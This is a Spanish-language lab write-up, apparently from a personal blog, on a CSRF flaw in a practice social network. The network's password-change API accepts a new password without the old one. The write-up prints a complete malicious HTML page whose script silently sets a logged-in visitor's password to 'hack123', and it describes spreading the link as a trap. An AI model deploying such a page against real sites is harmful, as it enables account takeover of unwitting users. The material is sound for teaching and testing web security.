Entrada

CSRF Password Change

CSRF Password Change

CSRF Password Change

CSRF Password Change Red social donde el endpoint de cambio de contraseña acepta la nueva contraseña sin verificar la contraseña actual, haciendolo vulnerable a CSRF.

csrf_password_change_profile

Lo primero que llama la atención es un fallo bastante común encontrar formularios de cambio de claves que no piden la contraseña antigua (old password), esto hace vulnerable a que un actor malicioso pueda cambiar la clave en un descuido. Por ejemplo dejar la sesión abierta o con las cookies guardadas en la caché del navegador, podría hacer que el gracioso de turno nos cambie las credenciales cuando vamos a por un café por poner un ejemplo aunque no es el objeto de este laboratorio.

crsf_password_request

Si capturamos la request, vemos que es un método PUT y que solo se envía la nueva contraseña.

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head><title>Wellcome</title></head>
<body>
Thanks for testing!!!
  <script> fetch('https://localhost:1000/api/users/password',
  { method: 'PUT', credentials: 'include',
   headers: { 'Content-Type': 'application/json' },
   body: JSON.stringify({ new_password: 'hack123' }) });
  </script>
  
 </body>
 </html> 

Así que creamos una web maliciosa con un código que utilize la API del sitio original para que cuando alguien la visite, realize las acciones que deseemos en el sitio de origen, de ahí que se llame CRSF (Cross Site Reques Forgery) Una falsificación de solicitudes entre sitios.

csrf_password_change_phising_link

Ahora posteamos en la web el enlace malicioso, cada vez que alguien lo visite activará la trampa y se cambiará la contraseña en ThreadHub siempre que esté conectado a dicho sitio.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.